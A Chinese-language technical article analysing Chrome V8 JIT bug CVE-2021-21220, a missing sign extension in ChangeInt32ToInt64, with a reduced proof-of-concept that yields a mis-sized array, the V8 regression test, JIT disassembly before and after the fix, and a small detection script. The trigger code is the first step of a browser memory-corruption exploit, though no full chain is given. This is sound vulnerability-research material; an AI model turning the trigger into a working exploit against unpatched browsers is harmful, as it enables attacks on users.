您好,登錄后才能下訂單哦!
怎么分析Chrome V8 JIT漏洞CVE-2021-21220,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
CVE-2021-21220 是4月13號在 github 上公開的一個半 0day v8 引擎 JIT 模塊漏洞。由于當時最新stable版本 (89.0.4389.114) 和 beta 版本 (90.0.4430.70) 的 Chrome 均未集成修復后的 V8 版本,所以該漏洞可以影響最新版本的 Chrome,當然,也影響基于 V8 的其它廣泛使用的瀏覽器。
目前最新版本的 Chrome 已修復該漏洞,建議大家盡快更新 Chrome 瀏覽器。
拿到PoC之后,首先進行簡單的分析和精簡,方便之后的調(diào)試分析。
var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);arr.shift();var cor = [1.1, 1.2, 1.3];return [arr, cor];}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);var arr = x[0];var cor = x[1];
對 jit 比較熟悉的同學,很容易就可以發(fā)現(xiàn) foo 函數(shù)是被優(yōu)化的函數(shù)。foo 函數(shù)的主要功能是:1、對變量 x 進行多種基本操作;2、涉及數(shù)組的相關操作。仔細看一下數(shù)組這部分,它主要依賴于變量 x 的值。
var _arr = new Uint32Array([2**31]);//2**31function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;// (2**31)^0+1x = Math.abs(x);x -= 2147483647;//2**31-1=2147483647x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;return x}print(foo(false));for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);print(x)
去掉 array 數(shù)組那部分的精簡,運行poc,結(jié)合輸出的結(jié)果,說明我們的推斷是正確的。
d8 poc.js 01
進一步分析發(fā)現(xiàn),變量 x 的值和 2**31(2147483648) 有很大關系。有符號的int32 整數(shù)范圍 [-2147483648~2147483647],在這個地方進行加減操作,在64位平臺下很容易發(fā)生 int32 和 int64 之間的相互轉(zhuǎn)換。事實上我們發(fā)現(xiàn) v8 團隊提交的一個 commit 修復鏈接 [compiler][x64] Fix bug in InstructionSelector::ChangeInt32ToInt64,恰好是這個 bug 的 patch。這個commit中包含了對應的回歸測試用例。為了調(diào)試方便,我們使用該測試用例。
const arr = new Uint32Array([2**31]);function foo() {return (arr[0] ^ 0) + 1;}%PrepareFunctionForOptimization(foo);print(foo());%OptimizeFunctionOnNextCall(foo);print(foo());
執(zhí)行
d8 poc.js --allow-natives-syntax-2147483647 //runtime2147483649 //jit
arr[0]= 2**31(2147483648);arr[0] ^ 0 = -2147483648在32位有符號的情況下為0x8000 0000,而 arr[0] 在32位無符號的情況下也為 0x8000 0000,之后執(zhí)行加1:在 runtime 階段,-2147483648+1=0xFFFF FFFF 8000 0001 = -2147483647沒有問題;而 jit 階段,錯誤地將32位無符號0x8000 0000,擴展為64位0x0000 0000 8000 0000,然后加1得到0x0000 0000 8000 0001 = 2147483649。
結(jié)合對應的 patch 代碼和注釋,ChangeInt32ToInt64的輸入是一個有符號的32位整數(shù),所以任何時候都應該做符號擴展。
最后我們來看一下 jit 生成的代碼,這里通過 | mov ecx,dword ptr [rcx]|,錯誤地丟失了符號。而在 fix 之后的 jit 代碼中通過 | movsxd rcx,dword ptr [rcx]| 正確地帶符號擴展 rcx。
JIT代碼:
修復 JIT代碼:
var _arr = new Uint32Array([2**31]);function foo(a) {var x = 1;x = (_arr[0] ^ 0) + 1;x = Math.abs(x);x -= 2147483647;x = Math.max(x, 0);x -= 1;if(x==-1) x = 0;var arr = new Array(x);return arr}for(var i=0;i<0x3000;++i)foo(true);var x = foo(false);if(x.length){alert("vuln is exist")}
看完上述內(nèi)容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業(yè)資訊頻道,感謝您對億速云的支持。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內(nèi)容。